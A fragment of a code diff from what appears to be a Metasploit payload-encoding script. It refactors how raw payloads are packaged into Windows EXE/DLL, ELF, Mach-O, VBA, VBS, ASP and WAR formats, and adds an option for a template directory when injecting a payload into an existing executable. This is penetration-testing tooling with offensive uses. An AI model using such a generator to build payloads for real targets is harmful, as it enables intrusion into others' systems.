# use default # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| @@ -140,7 +152,7 @@ $args.parse(ARGV) { |opt, idx, val| when "-s" space = val.to_i when "-t" - if (val =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/) + if supported_formats.include?(val) fmt = val else $stderr.puts(OutError + "Invalid format: #{val}") @@ -150,10 +162,14 @@ $args.parse(ARGV) { |opt, idx, val| $output = val when "-e" encoder = val + + when "-d" + exedir = val when "-x" altexe = val when "-k" inject = true + when "-h" usage else @@ -175,6 +191,11 @@ if inject and not altexe $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." exit(1) end +exeopts = { + :inject => inject, + :template => altexe, + :template_path => exedir +} # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( @@ -229,61 +250,19 @@ case cmd next if skip - case fmt - when 'dll' - dll = nil - dll = Msf::Util::EXE.to_win32pe_dll($framework, raw) + output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - write_encoded(dll) - when 'exe' - exe = nil - if(not arch or (arch.index(ARCH_X86))) - exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe}) - end - - write_encoded(exe) - when 'exe-small' - exe = nil - if(not arch or (arch.index(ARCH_X86))) - exe = Msf::Util::EXE.to_win32pe_old($framework, raw) - end - - write_encoded(exe) - when 'elf' - elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw) - write_encoded(elf) - when 'macho' - macho = Msf::Util::EXE.to_osx_x86_macho($framework, raw) - write_encoded(macho) - when 'vba' - exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe}) - vba = Msf::Util::EXE.to_exe_vba(exe) - write_encoded(vba) - when 'vbs' - vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe}) - write_encoded(vbs) - when 'loop-vbs' - vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe}) - write_encoded(vbs) - when 'asp' - asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe}) - write_encoded(asp) - when 'war' - arch ||= [ ARCH_X86 ] - tmp_plat = plat.platforms if plat - tmp_plat ||= Msf::Module::PlatformList.transform('win') - exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :insert => inject, :template => altexe }) - war = Msf::Util::EXE.to_jsp_war(exe, { :persist => false }) - write_encoded(war) - else + if not output fmt ||= "ruby" - write_encoded(Msf::Simple::Buffer.transform(raw, fmt)) + output = Msf::Simple::Buffer.transform(raw, fmt) end + if exeopts[:fellback] + $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") + end + + write_encoded(output) + exit rescue => e